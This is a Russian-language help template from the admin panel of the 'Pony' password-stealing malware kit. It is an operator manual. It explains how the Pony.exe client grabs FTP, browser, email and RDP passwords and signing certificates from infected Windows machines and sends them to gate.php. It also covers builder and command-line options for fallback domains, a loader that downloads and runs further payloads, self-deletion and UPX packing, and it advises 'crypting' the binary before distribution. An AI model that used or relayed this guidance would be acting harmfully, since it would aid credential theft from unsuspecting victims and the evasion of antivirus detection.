{if $priv_is_admin || $show_help_to_users}
<h3>Система сбора паролей "Pony"</h3>
<div id="help">
<br />
<h4>Задача и цели проекта</h4>
<br />
<ul>
<li>Сбор FTP/HTTP паролей из {(count($module_names)-2)}+ популярных FTP-клиентов и Web-браузеров с зараженных компьютеров</li>
<li>Сбор E-mail паролей (POP3, IMAP, SMTP)</li>
<li>Сбор сертификатов для подписи исполняемых файлов и драйверов</li>
<li>Сбор паролей RDP (Remote Desktop Connection)</li>
<li>Незаметная работа приложения для пользователя</li>
<li>Минимальный размер и время работы граббера на зараженном компьютере</li>
</ul>

<br /><h4>Общая информация</h4><br />

<b>Проект разбит на 3 отдельные части:</b>

<ul style="list-style-type:decimal">
<li style="text-align:left"><div>Клиент "Pony.exe" - программа которую необходимо прогружать на компьютеры, она собирает и отсылает пароли на сервер.</div></li>
<li style="text-align:left"><div>Билдер (PonyBuilder.exe) - набор программ для создания билда-клиента "Pony.exe".
	Билд собирается автоматически с помощью компилятора masm32, который включен в комплект.</div></li>
<li style="text-align:left"><div>Набор серверных PHP скриптов - панель администратора, а также скрипт-гейт (gate.php) на который отправляются пароли.</div></li>
</ul><br />

<h4>Для сбора паролей используется нестандартный подход</h4><br />

При запуске клиента "Pony.exe" автоматически собираются пароли и данные, необходимые для дешифровки в специальные 
файлы-контейнеры, называемые "отчетами" (reports), после чего в зашифрованном виде передаются на сервер, где обрабатываются.
Каждый отчет может содержать десятки и даже сотни паролей, а также прочую вспомогательную информацию.

<br /><br />

Фактически, "Pony.exe" не содержит в себе никаких алгоритмов дешифровки, а лишь простые функции
чтения данных файлов и реестра.

<br /><br />
Всю работу по дешифровке паролей берет на себя Web сервер, это не ресурсоемкая операция, т.к.
большинство алгоритмов тривиальны, сервер в среднем тратит меньше 10мс (0.01 сек) на обработку
отчета с паролями.
<br /><br />

<b>Положительные стороны такого подхода:</b>
<ul style="list-style-type:disc">
<li>Минимальный размер прогружаемого файла "Pony.exe"</li>
<li>Минимальное время работы на зараженном компьютере, в среднем, не превышает 1й секунды</li>
<li>Если какой-либо FTP клиент обновил только алгоритм шифрования, но хранит файлы с паролями также
  как и раньше, что характерно для большинства популярных FTP-клиентов, то нет необходимости заново 
  создавать билд и прогружать его, а лишь внести соответствующую модификацию в PHP скрипте</li>
<li>Нет шанса допустить ошибку в алгоритме дешифровки пароля и потерять FTP, отчеты на сервере можно
обработать заново, после исправления бага</li>
</ul>
<br /><b>Отрицательные:</b><br />
<ul>
<li>Необходим полноценный настроенный Web сервер для дешифровки паролей, с некоторыми специфическими требованиями</li>
<li>Увеличенный трафик к серверу, для этого добавлена возможность паковать отчеты</li>
</ul>

<br /><h4>Требования к Web серверу</h4><br />
<ul>
<li><b>Apache/nginx</b></li>
<li><b>PHP 5.2+</b></li>
<li><b>MySQL</b></li>
<li>Обязательные расширения для PHP 
  <ul style="margin-left:10px; list-style-type:none">
  <li><b>zlib</b>     - библиотека для сжатия/распаковки данных методом deflate</li>
  <li><b>libxml</b>   - библиотека для быстрой обработки XML файлов</li>
  <li><b>mysql</b>    - расширение для работы с базой данных MySQL</li>
  <li><b>mhash</b>    - библиотека с хеш-алгоритмами (входит в основную сборку PHP 5.3+)</li>
  <li><b>mcrypt</b>   - библиотека с алгоритмами шифрования</li>
  <li><b>gmp</b>      - математическая библиотека для работы с большими числами</li>
  <li><b>iconv, mbstring</b> - расширения для конвертации multibyte (UTF-8, ...) строк</li>
  <li><b>gd</b>       - графическая библиотека, используется для построения графиков</li>
  <li><b>curl</b>     - расширение для работы с сетью</li>
  <li><b>pcre</b>     - библиотека алгоритмов для работы с регулярными выражениями</li>
  <li><b>json</b>     - библиотека для декодирования JSON строк</li>
  <li><b>zip</b>	  - библиотека для работы с zip архивами</li>
  </ul>
  </li>
<li>Необязательные расширения для PHP
  <ul style="margin-left:10px; list-style-type:none">
  <li><b>sqlite3</b>  - необходим как класс (PHP 5.3+), или как драйвер PDO (PHP 5.2+), иначе некоторые пароли дешифрованы не будут</li>
  </ul>
</li>
</ul>
<br />
Набор серверных скриптов не привязан к корневой папке и может быть перемещен в любую вам удобную.
В рабочей папке необходимо создать директорию "<b>temp</b>" и дать ей права на чтение, запись и исполнение (chmod 777).
Название папки "temp" можно переопределить в файле настроек "config.php".

<br /><br />
Пример сборки PHP:<br />
<small>Configure Command     './configure' '--enable-mbstring=all' '--with-zlib' '--with-iconv' '--with-gd' '--with-curl' '--with-pcre-regex' '--with-gmp' '--with-mhash' '--with-mcrypt' '--with-mysql' '--with-libxml-dir' '--prefix=/opt/php' '--with-sqlite3' '--with-freetype-dir' '--enable-gd-native-ttf' '--with-png-dir' '--with-jpeg-dir' '--enable-zip'.
</small>
<br /><br /><h4>Серверная часть (админка)</h4>

<br /><b>Комплект поставки:</b><br />
<ul>
<li> Файл <b>"config.php"</b> - содержит базовые настройки необходимые для корректной работы PHP скриптов админки.
  Внутри файла необходимо прописать параметры MySQL сервера, выбрать пароль для дешифровки отчетов, указать
  папку для работы с временными файлами.</li>
<li> Файл <b>"setup.php"</b> - скрипт автоматической установки, необходимо запустить для первичной настройки панели
  администратора, после чего можно удалить.
  Этот скрипт создает необходимые таблицы MySQL, устанавливает логин и пароль администратора.
  Перед запуском <b>"setup.php"</b> следует прописать параметры MySQL сервера в файле <b>"config.php"</b>.
  Чтобы повторить автоматическую настройку панели, нужно сперва удалить все таблицы с префиксом 
  <b>"pony_"</b> из базы данных MySQL.</li>
<li> Файл <b>"gate.php"</b> - скрипт-гейт, который принимает отчеты с паролями от "Pony.exe".</li>
<li> Файл <b>"admin.php"</b> - основной управляющий скрипт панели администратора.</li>
<li> Папка <b>"temp"</b> - папка для работы с временными файлами и шаблонами Smarty, необходимо установить права на чтение, запись и исполнение (chmod 777).</li>
<li> Папка <b>"includes"</b> - набор вспомогательных файлов.</li>
</ul>

<br /><h4>Функции админки</h4><br />
<ul>
<li><b>Главная</b> - общая информация о текущей работе сервера.</li>
<li><b>Список FTP</b> - здесь можно скачать или очистить списки полученных FTP/SFTP.</li>
<li><b>Другие</b> - здесь можно скачать или очистить списки полученных сертификатов.</li>
<li><b>Статистика</b> - текущая статистика по собранным данным, необходимо учесть, что очистка списка FTP/отчетов обнулит статистику.</li>
<li><b>Домены</b> - на этой странице можно добавить резервные домены граббера для оперативной проверки на доступность.</li>
<li><b>Логи</b> - здесь можно увидеть критические ошибки и уведомления сервера.</li>
<li><b>Отчеты</b> - список текущих отчетов с паролями.</li>
<li><b>Управление</b> - настройки сервера, а также управление учетными записями.</li>
<li><b>Помощь</b> - файл помощи.</li>
<li><b>Выход</b> - завершить работу с админкой.</li>
</ul>

<br /><h4>Разграничение прав пользователей админки</h4><br />
Пользователи делятся на два типа:
<ul style="list-style-type:decimal">
<li style="text-align:left"><div><b>Администратор (admin)</b> - может делать абсолютно все: удалять/добавлять новых пользователей, менять настройки сервера (пароль шифрования отчетов), менять привилегии/пароли других пользователей, очищать списки с паролями. Администратор может быть только один.</div></li>
<li style="text-align:left"><div><b>Пользователь (user)</b> - в зависимости от привилегий может либо только просматривать данные (<b>user_view_only</b>), либо просматривать и чистить списки FTP/SFTP/отчеты/логи (<b>user_all</b>). Пользователь может изменить свой пароль. Пользователь не увидит дополнительный функционал, доступный лишь администратору.</div></li>
</ul>

<br /><h4>Дополнительная информация</h4><br />
<ul>
<li>Каждый получаемый отчет содержит в себе дополнительную информацию:
	<ul>
	<li><b>OS</b> - версия операционной системы Windows.</li>
	<li><b>IP</b> - IP адрес отправителя.</li>
	<li><b>HWID</b> - уникальный идентификатор пользователя, не меняется со временем. По этому идентификатору можно найти все отчеты с определенного компьютера.</li>
	<li><b>Privileges</b> - с какими правами (User/Admin) был запущен процесс "Pony.exe".</li>
	<li><b>Architecture</b> - x86/x64 архитектура микропроцессора, на котором был запущен процесс "Pony.exe".</li>
	<li><b>Version</b> - версия клиента "Pony.exe".</li>
	</ul>
</li>
<li>Очистка списка отчетов и FTP/SFTP обнуляет статистику (диаграммы и текстовые данные).</li>
<li>Одинаковые отчеты с паролями в базу данных не импортируются, если будет получен дубликат, в логах появится соответствующее уведомление.</li>
<li>Импорт отчетов с паролями через "gate.php" происходит в два этапа:
	<ul style="list-style-type:decimal">
	<li style="text-align:left"><div>Полученный отчет импортируется в базу данных MySQL. Только при успешном импорте в БД гейт вернет положительный ответ клиенту "Pony.exe" для предотвращения отсылки паролей на следующие (резервные) домены.</div></li>
	<li style="text-align:left"><div>Отчет обрабатывается (парсится), после чего найденные FTP добавляются в БД, а отчету прописывается статус "обработан".</div></li>
	</ul>
	Если отчет получил статус "не обработан", значит либо сервер перегружен (превышено максимальное время работы скрипта), либо при парсинге скрипт вылетел с критической ошибкой.
	В любом случае, отчет потерян не будет.</li>
<li>Если системой пользуются несколько пользователей, необходимо заходить под разными аккаунтами, иначе будет постоянно всплывать окно авторизации.</li>
<li>После очистки списков, данные в БД MySQL не всегда удаляются физически (особенно это касается логов), поэтому необходимо периодически запускать оптимизацию (сжатие) таблиц.</li>
<li>Оптимизацию (сжатие) таблиц MySQL лучше производить, когда нет большой нагрузки на базу данных, т.е. клиент "Pony.exe" не шлет активно пароли.</li>
</ul>

<br /><h4>Билдер "PonyBuilder.exe"</h4><br />

Задача билдера - настроить и скомпилировать клиент "Pony.exe", который необходимо прогружать на зараженные компьютеры.<br />
<br />
<b>Комплект поставки:</b><br />
<ul>
<li>Папка <b>"masm32"</b> - компилятор Microsoft Macro Assembler (MASM).</li>
<li>Папка <b>"PonySrc"</b> - исходный код на языке MASM программы-клиента (граббера) "Pony.exe".</li>
<li>Папка <b>"BuilderSrc"</b> - исходный код на языке Delphi 7 вспомогательной программы-билдера "PonyBuilder.exe".</li>
<li>Файл <b>"PonyBuilder.exe"</b> - программа-билдер для клиента "Pony.exe".</li>
<li>Файл <b>"Help.txt"</b> - файл помощи.</li>
<li>Файл <b>"build.bat"</b> - скрипт используемый билдером для компиляции билда из исходников "PonySrc".</li>
<li>Файл <b>"Pony.ico"</b> - иконка прикрепляемая к "Pony.exe" при компиляции, если в билдере выбрана соответсвующая опция.</li>
</ul>
<br /><b>Интерфейс разделен на 4 закладки:</b><br /><br />

<ul style="list-style-type:decimal">
<li><b><u>Билдер</u></b>
  <ul>
  <li>
  Текстовое поле <b>"Список доменов для отправки паролей"</b> - здесь можно прописать список URL гейтов для отправки паролей.
  Каждая строка - отдельный URL, к примеру: <i>http://somedomain.com/dir/gate.php</i>
  Можно добавить неограниченное количество строк (URL), один и тот же URL можно добавить несколько раз.
  Домен может содержать информацию о порте подключения, к примеру: <i>http://privatedomain.com:8080/gate.php</i>.
  Протокол <i>https://</i> на данный момент не поддерживается.<br />
  "Pony.exe" будет пытаться подключиться и отправить отчет с паролями по списку, если данные будет успешно доставлены,
  программа немедленно завершит работу без попыток подключения к остальным URL.
  </li>
  <li>Кнопка <b>"Выбрать иконку"</b> позволяет установить иконку для компилируемого файла, поддерживается только формат *.ico.</li>
  <li>Кнопка <b>"Создать билд"</b> компилирует файл "Pony.exe" с заданными настройками.</li>
  </ul>
</li>


<li><b><u>Лоадер</u></b>
  <ul>
  <li>
  Простой лоадер (загрузчик файлов). После сбора паролей с указанных линков (URL) будут загружены и запущены файлы.
  URL задаются таким же образом, как и список доменов для отправки паролей.
  В нижней части закладки можно задать следующие опции:
  <ul>
  <li> Активировать лоадер - включить работу лоадера, иначе файлы загружаться не будут.</li>
  <li> Не запускать одинаковые файлы дважды - после успешного запуска скачанного файла в реестр будет добавлено контрольное значение
  (хеш) данных файла, после чего, при повторной загрузке, дубликат запущен не будет.</li>
  </ul>

  </li>
  </ul>
</li>

<li><b><u>Настройки</u></b>
  <ul>
  <li>Для того, чтобы увидеть все настройки, нужно активировать опцию <b>"Показать продвинутые настройки"</b> в главном меню.</li>
  <li><b>Сжимать</b> - сжимать отчеты с помощью библиотеки aPLib, прибавляет около 5Кб к размеру исполняемого файла,
  хорошо пакует текстовые данные перед отправкой, настоятельно рекомендуется использовать, сильно снижает трафик
  к серверу.</li>
  <li><b>Шифровать</b> - шифровать отчеты алгоритмом RC4.</li>
  <li><b>Пароль шифрования</b> - пароль, которым шифруются отчеты, аналогичный пароль необходимо установить в настройках сервера.</li>
  <li><b>Сохранять отчеты на диск (для отладки)</b> - при запуске "Pony.exe", после того как были собраны пароли, в той же папке 
  где был запущен исполняемый файл, будет создан файл "out.bin", это контейнер с паролями в таком виде, в каком он отправляется 
  на сервер для последующей обработки (дешифровки).</li>
  <li><b>Отсылать пустые отчеты (для статистики)</b> - обычно, если ни одного пароля не найдено, клиент "Pony.exe" ничего отправлять
  серверу не будет, но иногда полезно включение данной опции для получения статистики о количестве успешных запусков "Pony.exe".</li>
  <li><b>Режим отладки</b> - снимает перехватчик исключений, использовать исключительно в целях отладки.</li>
  <li><b>Отсылать только новые отчеты</b> - если опция не активирована, тогда дублирующие отчеты с паролями отсылаться не будут.</li>
  <li><b>Самоудаление</b> - запущенный файл "Pony.exe" будет удален после того как завершит свою работу.</li>
  <li><b>Добавить иконку</b> - прикрепить выбранную иконку к компилируемому файлу.</li>
  <li><b>Паковать билд с помощью UPX</b> - сжать исполняемый файл "Pony.exe" после компиляции.</li>
  <li><b>Количество попыток отправить отчет</b> - сколько раз пытаться отправить отчет при неуспешной передаче, рекомендуется указать минимум 2 попытки.</li>
  <li><b>Вариант сборки:</b>
  	<ul>
  		<li><b>Exe-файл</b> - обычный исполняемый файл Windows (*.exe)</li>
    	<li><b>Dll-файл</b> - вариант сборки в виде .dll библиотеки, она абсолютно автономна, для отработки необходимо вызвать из вашего проекта лишь API-функцию LoadLibrary(), т.е. URL для отправки паролей
      		и все настройки вшиваются в сам .dll файл. В папке DllTest лежит простой пример использования-тестирования, в эту же папку необходимо положить файл Pony.dll, после чего запустить файл DllTest.exe,
      		который в свою очередь вызывает LoadLibrary() для .dll библиотеки.</li>
	</ul>
  </li>
  <li>В списке <b>"Доступные модули дешифровки"</b> можно исключить из билда ненужные дешифровщики паролей, это уменьшит размер билда.</li>
  </ul>
</li>
<li><b><u>Скин</u></b>
  <ul>
  <li>На этой закладке можно выбрать понравившийся скин (шкурку) билдера.</li>
  </ul>
</li>

</ul>

<br /><h4>Запуск билдера с командной строки</h4><br />
Доступны следующие аргументы командной строки билдера:<br /><br />
<ul>
<li><b>-PACK_REPORT</b> - сжимать отчеты</li>
<li><b>-ENCRYPT_REPORT</b> - шифровать отчеты, если пароль шифрования не задан, то по умолчанию будет указан "Mesoamerica"</li>
<li><b>-REPORT_PASSWORD=</b> - пароль шифрования, к примеру: -REPORT_PASSWORD=Mesoamerica</li>
<li><b>-SAVE_REPORT</b> - сохранять отчеты на диск (для отладки)</li>
<li><b>-ENABLE_DEBUG_MODE</b> - режим отладки</li>
<li><b>-SEND_MODIFIED_ONLY</b> - отсылать только новые отчеты</li>
<li><b>-SELF_DELETE</b> - активировать самоудаление</li>
<li><b>-SEND_EMPTY_REPORTS</b> - отсылать пустые отчеты</li>
<li><b>-ADD_ICON</b> - прикрепить иконку из файла Pony.ico</li>
<li><b>-UPX</b> - паковать билд с помощью UPX</li>
<li><b>-DOMAIN_LIST=</b> - список доменов, каждый домен должен быть разделен с помощью спец. символа \n, к примеру: -DOMAIN_LIST=http://host.com/gate.php\nhttp://host2.com/x/gate.php</li>
<li><b>-LOADER_LIST=</b> - список URL для лоадера (будет активирован автоматически при наличии URL), каждый URL должен быть разделен аналогично DOMAIN_LIST</li>
<li><b>-LOADER_EXECUTE_NEW_FILES_ONLY</b> - не запускать одинаковые файлы дважды</li>
<li><b>-DISABLE_MODULE=</b> - исключить из билда определенный модуль дешифровки (все названия модулей можно увидеть в файле PonySrc\FTPClients.asm), к примеру: -DISABLE_MODULE=MODULE_OPERA</li>
<li><b>-DLL_MODE</b> - использовать метод сборки в виде Dll-библиотеки</li>
<li><b>-COLLECT_HTTP</b> - дополнительно собирать и HTTP/HTTPS пароли</li>
<li><b>-COLLECT_EMAIL</b> - дополнительно собирать и E-mail пароли</li>
<li><b>-UPLOAD_RETRIES=N</b> - количество (N) попыток отправить отчет, если значение не указано, то по умолчанию используются 2 попытки</li>
</ul>

<br /><h4>Клиент "Pony.exe"</h4><br />

Задача <b>"Pony.exe"</b> - собрать пароли с компьютера и отправить их на сервер для последующей обработки.
<br /><br />

Работает на всех версиях Windows, начиная с Win98, включая серверные. Поддерживается работа в режиме x86 и x64.
Программа нормально отрабатывает при запуске с правами администратора или пользователя.
<br /><br />

Перед распространением файл желательно почистить и криптануть.

<br /><br />
Реализована мгновенная дешифровка сохраненных паролей для следующих программ:
<ul>

{foreach from=$module_names item=module_name}
{if $module_name !== 'RDP' && $module_name !== 'Certificate'}<li>{$module_name}</li>{/if}
{/foreach}
</ul>
</div>
{else}
		{include file='error.tpl' err_code='ERR_NOT_ENOUGH_PRIVILEGES'}
{/if}